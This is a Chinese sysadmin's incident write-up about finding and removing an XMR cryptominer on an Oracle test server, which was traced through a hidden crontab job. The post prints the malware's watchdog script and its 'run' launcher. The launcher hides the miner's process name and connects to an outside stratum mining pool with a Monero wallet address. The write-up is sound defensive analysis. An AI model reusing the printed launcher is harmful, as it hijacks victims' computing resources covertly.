2019年8月22日
今天一台测试用服务器出现异常,最终确定是挖矿病毒,分享一下排查处理过程。
1.ld-linux-x86-64进程占用CPU 90%,用户为oracle。
2.手工kill掉过一会还会再出现。
1.切换到oracle用户,su - oracle
2.查看定时任务,crontab -e,发现有如下定时任务
/home/oracle/.cache/.a
该文件为隐藏文件且命名无规则,因此推测很有可能是病毒脚本。
3.查看该脚本内容
cat /home/oracle/.cache/.a
#!/bin/sh
if test -r /home/oracle/.cache/.a/bash.pid; then
pid=$(cat /home/oracle/.cache/.a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /home/oracle/.cache/.a
./run &>/dev/null
exit 0
fi
fi
4.查看该脚本要KILL掉的内容
cat /home/oracle/.cache/.a/bash.pid
11876
可以看到,该脚本会干掉所有11876及子进程,bash.pid中内容如何生成,目前无法得知。
5.该目录下还有其他程序
[oracle@centos1 .a]$ pwd
/home/oracle/.cache/.a
[oracle@centos1 .a]$ ll -a
total 582576
drwxr-xr-x 3 oracle oinstall 205 Aug 22 18:47 .
drwxr-xr-x. 4 oracle oinstall 28 Aug 16 2018 ..
-rwxr-xr-x 1 oracle oinstall 329 Oct 27 2017 a
-rw-r--r-- 1 oracle oinstall 6 Aug 22 18:10 bash.pid
-rw-r--r-- 1 oracle oinstall 7581 Apr 16 2018 config.txt
-rw-r--r-- 1 oracle oinstall 3275 Aug 16 2018 cpu.txt
-rw-r--r-- 1 oracle oinstall 53 Aug 16 2018 cron.d
-rw-r--r-- 1 oracle oinstall 23 Aug 16 2018 dir.dir
-rwxr-xr-x 1 oracle oinstall 15125 Feb 21 2016 h32
-rwxr-xr-x 1 oracle oinstall 838583 Feb 21 2016 h64
-rwxr-xr-x 1 oracle oinstall 227220 Oct 22 2017 md32
-rw-r--r-- 1 oracle oinstall 595413399 Aug 22 18:10 output.txt
-rw-r--r-- 1 oracle oinstall 1590 Jul 26 2018 pools.txt
-rwxr-xr-x 1 oracle oinstall 449 May 6 2018 run
drwxr-xr-x 2 oracle oinstall 4096 Apr 16 2018 stak
-rwxr--r-- 1 oracle oinstall 215 Aug 16 2018 upd
-rwxr-xr-x 1 oracle oinstall 24 Oct 5 2017 x
目录中可以看到h32、h64程序,虽无法查看内容,大概可推测是某种算法程序。
6.cat run
#!/bin/bash
proc=`nproc`
ARCH=`uname -m`
HIDE="-bash"
if [ "$ARCH" == "i686" ]; then
./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://107.191.99.227:80 -u 45rpdjpw4tLg8HEtWv2WhwRu2JYVxfDFB8eqT58RLrXRLHZ4XDVWaWGa722MvbqRpdVyHuRpXY72F2BAsvzLKXKuSi9uBCf -p x >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmr-stak >>/dev/null &
fi
echo $! > bash.pid
当前服务器是x86_64架构的,可看到ld-linux-x86-64.so.2会作为参数传到h64程序中,并且使用了挖矿器xmr-stak,从而造成CPU使用率100%
1.禁用掉该计划任务
2.删除该文件
管辖范围内的其他8台Linux服务器暂无此现象
文件生成日期:2018-08-16 07:50:47,这个时段应该可以排除U盘感染。
oracle用户创建日期:2018-07-09 09:32:13,是在oracle用户创建后一个月,当前oracle用户密码极为简单,因此推测是通过网络感染,但无法确认传染源。
做好OS级别的安全基准配置,可避免绝多数漏洞。